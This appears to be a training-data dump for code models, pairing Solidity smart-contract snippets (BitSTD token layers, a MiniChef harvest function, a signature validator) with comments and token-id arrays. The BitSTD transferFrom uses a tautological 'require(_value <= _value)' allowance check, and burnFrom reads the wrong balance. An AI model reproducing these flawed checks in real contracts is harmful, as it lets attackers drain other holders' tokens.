[ 1, 10102, 326, 3511, 1353, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 5542, 3744, 353, 385, 654, 39, 27, 5340, 3744, 16, 14223, 6914, 3744, 288, 203, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 2254, 5034, 5381, 490, 15125, 1146, 273, 15088, 31, 203, 203, 565, 2254, 5034, 2713, 389, 1937, 950, 31, 203, 203, 565, 1758, 2713, 389, 5206, 31, 203, 203, 565, 2254, 5034, 2713, 389, 8066, 2173, 49, 737, 285, 31, 203, 203, 565, 2254, 5034, 2713, 389, 1937, 5147, 31, 203, 203, 565, 2254, 5034, 2713, 389, 19773, 5147, 2173, 49, 737, 285, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 13, 2713, 389, 2722, 5147, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 13, 2713, 389, 11650, 26827, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 1731, 13, 2713, 389, 11650, 461, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 1731, 13, 2713, 389, 11650, 24623, 31, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; contract owned { address public owner; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; // 18 decimals is the strongly suggested default, avoid changing it uint8 public decimals = 18; uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; } contract BitSTDShares is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; } contract BitSTDData { // Used to control data migration bool public data_migration_control = true; address public owner; // Public variables of the token string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; // An array of all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; uint256 public sellPrice; uint256 public buyPrice; // The allowed address zhi value wei value is true mapping (address => bool) public owners; // Freeze address mapping (address => bool) public frozenAccount; BitSTDShares private bit; constructor(address contractAddress) public { bit = BitSTDShares(contractAddress); owner = msg.sender; name = bit.name(); symbol = bit.symbol(); decimals = bit.decimals(); sellPrice = bit.sellPrice(); buyPrice = bit.buyPrice(); totalSupply = bit.totalSupply(); balanceOf[msg.sender] = totalSupply; } modifier qualification { require(msg.sender == owner); _; } // Move the super administrator function transferAuthority(address newOwner) public { require(msg.sender == owner); owner = newOwner; } function setBalanceOfAddr(address addr, uint256 value) qualification public { balanceOf[addr] = value; } function setAllowance(address authorizer, address sender, uint256 value) qualification public { allowance[authorizer][sender] = value; } function setFrozenAccount(address addr, bool value) qualification public { frozenAccount[addr] = value; } function addTotalSupply(uint256 value) qualification public { totalSupply = value; } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public { require(msg.sender == owner); sellPrice = newSellPrice; buyPrice = newBuyPrice; } // Old contract data function getOldBalanceOf(address addr) constant public returns(uint256) { return bit.balanceOf(addr); } function getOldAllowance(address authorizer, address sender) constant public returns(uint256) { return bit.allowance(authorizer, sender); } function getOldFrozenAccount(address addr) constant public returns(bool) { return bit.frozenAccount(addr); } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract BitSTDLogic { address public owner; // data layer BitSTDData private data; constructor(address dataAddress) { data = BitSTDData(dataAddress); owner = msg.sender; } // Transfer logical layer authority function transferAuthority(address newOwner) onlyOwner public { owner = newOwner; } modifier onlyOwner(){ require(msg.sender == owner); _; } // Transfer data layer authority function transferDataAuthority(address newOwner) onlyOwner public { data.transferAuthority(newOwner); } function setData(address dataAddress)onlyOwner public { data = BitSTDData(dataAddress); } // Old contract data function getOldBalanceOf(address addr) constant public returns (uint256) { return data.getOldBalanceOf(addr); } /** * Internal transfers can only be invoked through this contract */ function _transfer(address _from, address _to, uint _value) internal { uint256 f_value = balanceOf(_from); uint256 t_value = balanceOf(_to); // Prevents transmission to 0x0 address.Call to Burn () require(_to != 0x0); // Check that the sender is adequate require(f_value >= _value); // Check the overflow require(t_value + _value > t_value); // Save it as a future assertion uint previousBalances = f_value + t_value; // Minus from the sender setBalanceOf(_from, f_value - _value); // Add to receiver setBalanceOf(_to, t_value + _value); // Assertions are used to use static analysis to detect errors in code.They should not fail assert(balanceOf(_from) + balanceOf(_to) == previousBalances); } // data migration function migration(address sender, address receiver) onlyOwner public returns (bool) { require(sender != receiver); bool result= false; // Start data migration // uint256 t_value = balanceOf(receiver); uint256 _value = data.getOldBalanceOf(receiver); //Transfer balance if (data.balanceOf(receiver) == 0) { if (_value > 0) { _transfer(sender, receiver, _value); result = true; } } //Frozen account migration if (data.getOldFrozenAccount(receiver)== true) { if (data.frozenAccount(receiver)!= true) { data.setFrozenAccount(receiver, true); } } //End data migration return result; } // Check the contract token function balanceOf(address addr) constant public returns (uint256) { return data.balanceOf(addr); } function name() constant public returns (string) { return data.name(); } function symbol() constant public returns(string) { return data.symbol(); } function decimals() constant public returns(uint8) { return data.decimals(); } function totalSupply() constant public returns(uint256) { return data.totalSupply(); } function allowance(address authorizer, address sender) constant public returns(uint256) { return data.allowance(authorizer, sender); } function sellPrice() constant public returns (uint256) { return data.sellPrice(); } function buyPrice() constant public returns (uint256) { return data.buyPrice(); } function frozenAccount(address addr) constant public returns(bool) { return data.frozenAccount(addr); } //Modify the contract function setBalanceOf(address addr, uint256 value) onlyOwner public { data.setBalanceOfAddr(addr, value); } /** * Pass the token * send a value token to your account */ function transfer(address sender, address _to, uint256 _value) onlyOwner public returns (bool) { _transfer(sender, _to, _value); return true; } /** *Passing tokens from other addresses * * sends the value token to "to", representing "from" * * @param _from sender&#39;s address * @param _to recipient&#39;s address * @param _value number sent */ function transferFrom(address _from, address sender, address _to, uint256 _value) onlyOwner public returns (bool success) { uint256 a_value = data.allowance(_from, sender); require(_value <=_value ); // Check allowance data.setAllowance(_from, sender, a_value - _value); _transfer(_from, _to, _value); return true; } /** * set allowances for other addresses * * allow the "spender" to spend only the "value" card in your name * * @param _spender authorized address * @param _value they can spend the most money */ function approve(address _spender, address sender, uint256 _value) onlyOwner public returns (bool success) { data.setAllowance(sender, _spender, _value); return true; } /** * Grant and notify other addresses * * allow "spender" to only mark "value" in your name and then write the contract on it. * * @param _spender authorized address * @param _value they can spend the most money * @param _extraData sends some additional information to the approved contract */ function approveAndCall(address _spender, address sender, address _contract, uint256 _value, bytes _extraData) onlyOwner public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, sender, _value)) { spender.receiveApproval(sender, _value, _contract, _extraData); return true; } } /** * Destroy the tokens, * * delete "value" tokens from the system * * param _value the amount of money to burn */ function burn(address sender, uint256 _value) onlyOwner public returns (bool success) { uint256 f_value = balanceOf(sender); require(f_value >= _value); // Check that the sender is adequate setBalanceOf(sender, f_value - _value); // Minus from the sender data.addTotalSupply(totalSupply() - _value); // Renewal aggregate supply return true; } /** * Destroy tokens from other accounts * * delete "value" tokens from "from" in the system. * * @param _from the address of the sender * param _value the amount of money to burn */ function burnFrom(address _from, address sender, uint256 _value) onlyOwner public returns (bool success) { uint256 f_value = balanceOf(sender); uint256 a_value = data.allowance(_from, sender); require(f_value >= _value); // Check that the target balance is adequate require(_value <= a_value); // Check the allowance setBalanceOf(_from, f_value - _value); // Subtract from the goal balance data.setAllowance(_from, sender, f_value - _value); // Minus the sender&#39;s allowance data.addTotalSupply(totalSupply() - _value); // update totalSupply return true; } //@ notifies you to create the mintedAmount token and send it to the target // @param target address receiving token // @param mintedAmount will receive the number of tokens function mintToken(address target, address _contract, uint256 mintedAmount) onlyOwner public { uint256 f_value = balanceOf(target); setBalanceOf(target, f_value + mintedAmount); data.addTotalSupply(totalSupply() + mintedAmount); } //Notice freezes the account to prevent "target" from sending and receiving tokens // @param target address is frozen // @param freezes or does not freeze function freezeAccount(address target, bool freeze) onlyOwner public returns (bool) { data.setFrozenAccount(target, freeze); return true; } // Notice of purchase of tokens by sending ether function buy(address _contract, address sender, uint256 value) payable public { require(false); uint amount = value / data.buyPrice(); // Calculate the purchase amount _transfer(_contract, sender, amount); // makes the transfers } // @notice to sell the amount token // @param amount function sell(address _contract, address sender, uint256 amount) public { require(false); require(address(_contract).balance >= amount * data.sellPrice()); // Check if there is enough ether in the contract _transfer(sender, _contract, amount); // makes the transfers sender.transfer(amount * data.sellPrice()); // Shipping ether to the seller.This is important to avoid recursive attacks } } contract BitSTDView { BitSTDLogic private logic; address public owner; // This creates a public event on the blockchain that notifies the customer event Transfer(address indexed from, address indexed to, uint256 value); event FrozenFunds(address target, bool frozen); // This tells the customer how much money is being burned event Burn(address indexed from, uint256 value); //start Query data interface function balanceOf(address add)constant public returns (uint256) { return logic.balanceOf(add); } function name() constant public returns (string) { return logic.name(); } function symbol() constant public returns (string) { return logic.symbol(); } function decimals() constant public returns (uint8) { return logic.decimals(); } function totalSupply() constant public returns (uint256) { return logic.totalSupply(); } function allowance(address authorizer, address sender) constant public returns (uint256) { return logic.allowance(authorizer, sender); } function sellPrice() constant public returns (uint256) { return logic.sellPrice(); } function buyPrice() constant public returns (uint256) { return logic.buyPrice(); } function frozenAccount(address addr) constant public returns (bool) { return logic.frozenAccount(addr); } //End Query data interface //initialize constructor(address logicAddressr) public { logic=BitSTDLogic(logicAddressr); owner=msg.sender; } //start Authority and control modifier onlyOwner(){ require(msg.sender == owner); _; } //Update the address of the data and logic layer function setBitSTD(address dataAddress,address logicAddressr) onlyOwner public{ logic=BitSTDLogic(logicAddressr); logic.setData(dataAddress); } //Hand over the logical layer authority function transferLogicAuthority(address newOwner) onlyOwner public{ logic.transferAuthority(newOwner); } //Hand over the data layer authority function transferDataAuthority(address newOwner) onlyOwner public{ logic.transferDataAuthority(newOwner); } //Hand over the view layer authority function transferAuthority(address newOwner) onlyOwner public{ owner=newOwner; } //End Authority and control //data migration function migration(address addr) public { if (logic.migration(msg.sender, addr) == true) { emit Transfer(msg.sender, addr,logic.getOldBalanceOf(addr)); } } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { if (logic.transfer(msg.sender, _to, _value) == true) { emit Transfer(msg.sender, _to, _value); } } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (logic.transferFrom(_from, msg.sender, _to, _value) == true) { emit Transfer(_from, _to, _value); return true; } } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { return logic.approve( _spender, msg.sender, _value); } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { return logic.approveAndCall(_spender, msg.sender, this, _value, _extraData); } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { if (logic.burn(msg.sender, _value) == true) { emit Burn(msg.sender, _value); return true; } } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { if (logic.burnFrom( _from, msg.sender, _value) == true) { emit Burn(_from, _value); return true; } } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { logic.mintToken(target, this, mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { if (logic.freezeAccount(target, freeze) == true) { emit FrozenFunds(target, freeze); } } //The next two are buying and selling tokens function buy() payable public { logic.buy(this, msg.sender, msg.value); } function sell(uint256 amount) public { logic.sell(this,msg.sender, amount); } }
Calculate the purchase amount
uint amount = value / data.buyPrice();
6,520,972
[ 1, 8695, 326, 23701, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 3844, 273, 460, 342, 501, 18, 70, 9835, 5147, 5621, 540, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/288/0xd5609cD0e1675331E4Fb1d43207C8d9D83AAb17C/sources/contracts/bridge/MiniChefV2.sol
@notice Harvest proceeds for transaction sender to `to`. @param pid The index of the pool. See `poolInfo`. @param to Receiver of SYNAPSE rewards. Effects Interactions
function harvest(uint256 pid, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedSynapse = int256(user.amount.mul(pool.accSynapsePerShare) / ACC_SYNAPSE_PRECISION); uint256 _pendingSynapse = accumulatedSynapse.sub(user.rewardDebt).toUInt256(); user.rewardDebt = accumulatedSynapse; if (_pendingSynapse != 0) { SYNAPSE.safeTransfer(to, _pendingSynapse); } IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSynapseReward( pid, msg.sender, to, _pendingSynapse, user.amount); } emit Harvest(msg.sender, pid, _pendingSynapse); }
7,105,428
[ 1, 44, 297, 26923, 11247, 87, 364, 2492, 5793, 358, 1375, 869, 8338, 225, 4231, 1021, 770, 434, 326, 2845, 18, 2164, 1375, 6011, 966, 8338, 225, 358, 31020, 434, 7068, 50, 2203, 1090, 283, 6397, 18, 30755, 87, 5294, 4905, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 17895, 26923, 12, 11890, 5034, 4231, 16, 1758, 358, 13, 1071, 288, 203, 3639, 8828, 966, 3778, 2845, 273, 1089, 2864, 12, 6610, 1769, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 6610, 6362, 3576, 18, 15330, 15533, 203, 3639, 509, 5034, 24893, 10503, 28933, 273, 509, 5034, 12, 1355, 18, 8949, 18, 16411, 12, 6011, 18, 8981, 10503, 28933, 2173, 9535, 13, 342, 18816, 67, 7474, 50, 2203, 1090, 67, 3670, 26913, 1769, 203, 3639, 2254, 5034, 389, 9561, 10503, 28933, 273, 24893, 10503, 28933, 18, 1717, 12, 1355, 18, 266, 2913, 758, 23602, 2934, 869, 14342, 5034, 5621, 203, 203, 3639, 729, 18, 266, 2913, 758, 23602, 273, 24893, 10503, 28933, 31, 203, 203, 3639, 309, 261, 67, 9561, 10503, 28933, 480, 374, 13, 288, 203, 5411, 7068, 50, 2203, 1090, 18, 4626, 5912, 12, 869, 16, 389, 9561, 10503, 28933, 1769, 203, 3639, 289, 203, 540, 203, 3639, 15908, 359, 297, 765, 389, 266, 20099, 273, 283, 20099, 63, 6610, 15533, 203, 3639, 309, 261, 2867, 24899, 266, 20099, 13, 480, 1758, 12, 20, 3719, 288, 203, 5411, 389, 266, 20099, 18, 265, 10503, 28933, 17631, 1060, 12, 4231, 16, 1234, 18, 15330, 16, 358, 16, 389, 9561, 10503, 28933, 16, 729, 18, 8949, 1769, 203, 3639, 289, 203, 203, 3639, 3626, 670, 297, 26923, 12, 3576, 18, 15330, 16, 4231, 16, 389, 9561, 10503, 28933, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x7A6425C9b3F5521BFa5d71Df710A2FB80508319b/sources/Exchange.sol
@dev Verifies that a hash has been signed by the given signer. @param hash Any 32 byte hash. @param signerAddress Address that should have signed the given hash. @param signature Proof that the hash has been signed by signer. @return True if the address recovered from the provided signature matches the input signer address. Pop last byte off of signature byte array. Ensure signature is supported Variables are not scoped in Solidity. Always illegal signature. This is always an implicit option since a signer can create a signature array with invalid type or length. We may as well make it an explicit option. This aids testing and analysis. It is also the initialization value for the enum type. Always invalid signature. Like Illegal, this is always implicitly available and therefore offered explicitly. It can be implicitly created by providing a correctly formatted but incorrect signature. Signature using EIP712 Signed using web3.eth_sign Signature verified by wallet contract. If used with an order, the maker of the order is the wallet contract. Signature verified by validator contract. If used with an order, the maker of the order can still be an EOA. A signature using this type should be encoded as: | Offset | Length | Contents | | 0x00 | x | Signature to validate | | 0x00 + x | 20 | Address of validator contract | | 0x14 + x | 1 | Signature type is always "\x06" | Pop last 20 bytes off of signature byte array. Ensure signer has approved validator.
function isValidSignature( bytes32 hash, address signerAddress, bytes memory signature ) public view returns (bool isValid) { require( signature.length > 0, "LENGTH_GREATER_THAN_0_REQUIRED" ); uint8 signatureTypeRaw = uint8(signature.popLastByte()); require( signatureTypeRaw < uint8(SignatureType.NSignatureTypes), "SIGNATURE_UNSUPPORTED" ); SignatureType signatureType = SignatureType(signatureTypeRaw); uint8 v; bytes32 r; bytes32 s; address recovered; if (signatureType == SignatureType.Illegal) { revert("SIGNATURE_ILLEGAL"); require( signature.length == 0, "LENGTH_0_REQUIRED" ); isValid = false; return isValid; require( signature.length == 65, "LENGTH_65_REQUIRED" ); v = uint8(signature[0]); r = signature.readBytes32(1); s = signature.readBytes32(33); recovered = ecrecover( hash, v, r, s ); isValid = signerAddress == recovered; return isValid; require( signature.length == 65, "LENGTH_65_REQUIRED" ); v = uint8(signature[0]); r = signature.readBytes32(1); s = signature.readBytes32(33); recovered = ecrecover( keccak256(abi.encodePacked( "\x19Ethereum Signed Message:\n32", hash )), v, r, s ); isValid = signerAddress == recovered; return isValid; isValid = isValidWalletSignature( hash, signerAddress, signature ); return isValid; address validatorAddress = signature.popLast20Bytes(); if (!allowedValidators[signerAddress][validatorAddress]) { return false; } isValid = isValidValidatorSignature( validatorAddress, hash, signerAddress, signature ); return isValid; isValid = preSigned[hash][signerAddress]; return isValid; } }
4,477,775
[ 1, 19802, 716, 279, 1651, 711, 2118, 6726, 635, 326, 864, 10363, 18, 225, 1651, 5502, 3847, 1160, 1651, 18, 225, 10363, 1887, 5267, 716, 1410, 1240, 6726, 326, 864, 1651, 18, 225, 3372, 1186, 792, 716, 326, 1651, 711, 2118, 6726, 635, 10363, 18, 327, 1053, 309, 326, 1758, 24616, 628, 326, 2112, 3372, 1885, 326, 810, 10363, 1758, 18, 10264, 1142, 1160, 3397, 434, 3372, 1160, 526, 18, 7693, 3372, 353, 3260, 23536, 854, 486, 12523, 316, 348, 7953, 560, 18, 14178, 16720, 3372, 18, 1220, 353, 3712, 392, 10592, 1456, 3241, 279, 10363, 848, 752, 279, 3372, 526, 598, 2057, 618, 578, 769, 18, 1660, 2026, 487, 5492, 1221, 518, 392, 5515, 1456, 18, 1220, 279, 2232, 7769, 471, 6285, 18, 2597, 353, 2546, 326, 10313, 460, 364, 326, 2792, 618, 18, 14178, 2057, 3372, 18, 23078, 2141, 16, 333, 353, 3712, 24682, 2319, 471, 13526, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 4908, 5374, 12, 203, 3639, 1731, 1578, 1651, 16, 203, 3639, 1758, 10363, 1887, 16, 203, 3639, 1731, 3778, 3372, 203, 565, 262, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 6430, 4908, 13, 203, 565, 288, 203, 3639, 2583, 12, 203, 5411, 3372, 18, 2469, 405, 374, 16, 203, 5411, 315, 7096, 67, 43, 18857, 67, 22408, 67, 20, 67, 14977, 6, 203, 3639, 11272, 203, 203, 3639, 2254, 28, 3372, 559, 4809, 273, 2254, 28, 12, 8195, 18, 5120, 3024, 3216, 10663, 203, 203, 3639, 2583, 12, 203, 5411, 3372, 559, 4809, 411, 2254, 28, 12, 5374, 559, 18, 50, 5374, 2016, 3631, 203, 5411, 315, 26587, 67, 2124, 21134, 6, 203, 3639, 11272, 203, 203, 3639, 9249, 559, 3372, 559, 273, 9249, 559, 12, 8195, 559, 4809, 1769, 203, 203, 3639, 2254, 28, 331, 31, 203, 3639, 1731, 1578, 436, 31, 203, 3639, 1731, 1578, 272, 31, 203, 3639, 1758, 24616, 31, 203, 203, 3639, 309, 261, 8195, 559, 422, 9249, 559, 18, 12195, 13, 288, 203, 5411, 15226, 2932, 26587, 67, 2627, 19384, 1013, 8863, 203, 203, 5411, 2583, 12, 203, 7734, 3372, 18, 2469, 422, 374, 16, 203, 7734, 315, 7096, 67, 20, 67, 14977, 6, 203, 5411, 11272, 203, 5411, 4908, 273, 629, 31, 203, 5411, 327, 4908, 31, 203, 203, 5411, 2583, 12, 203, 7734, 3372, 18, 2469, 422, 15892, 16, 203, 7734, 315, 7096, 67, 9222, 67, 14977, 6, 203, 5411, 11272, 203, 5411, 331, 273, 2254, 28, 12, 8195, 63, 20, 2 ]
pragma solidity 0.4.25; /// @title provides subject to role checking logic contract IAccessPolicy { //////////////////////// // Public functions //////////////////////// /// @notice We don't make this function constant to allow for state-updating access controls such as rate limiting. /// @dev checks if subject belongs to requested role for particular object /// @param subject address to be checked against role, typically msg.sender /// @param role identifier of required role /// @param object contract instance context for role checking, typically contract requesting the check /// @param verb additional data, in current AccessControll implementation msg.sig /// @return if subject belongs to a role function allowed( address subject, bytes32 role, address object, bytes4 verb ) public returns (bool); } /// @title enables access control in implementing contract /// @dev see AccessControlled for implementation contract IAccessControlled { //////////////////////// // Events //////////////////////// /// @dev must log on access policy change event LogAccessPolicyChanged( address controller, IAccessPolicy oldPolicy, IAccessPolicy newPolicy ); //////////////////////// // Public functions //////////////////////// /// @dev allows to change access control mechanism for this contract /// this method must be itself access controlled, see AccessControlled implementation and notice below /// @notice it is a huge issue for Solidity that modifiers are not part of function signature /// then interfaces could be used for example to control access semantics /// @param newPolicy new access policy to controll this contract /// @param newAccessController address of ROLE_ACCESS_CONTROLLER of new policy that can set access to this contract function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController) public; function accessPolicy() public constant returns (IAccessPolicy); } contract 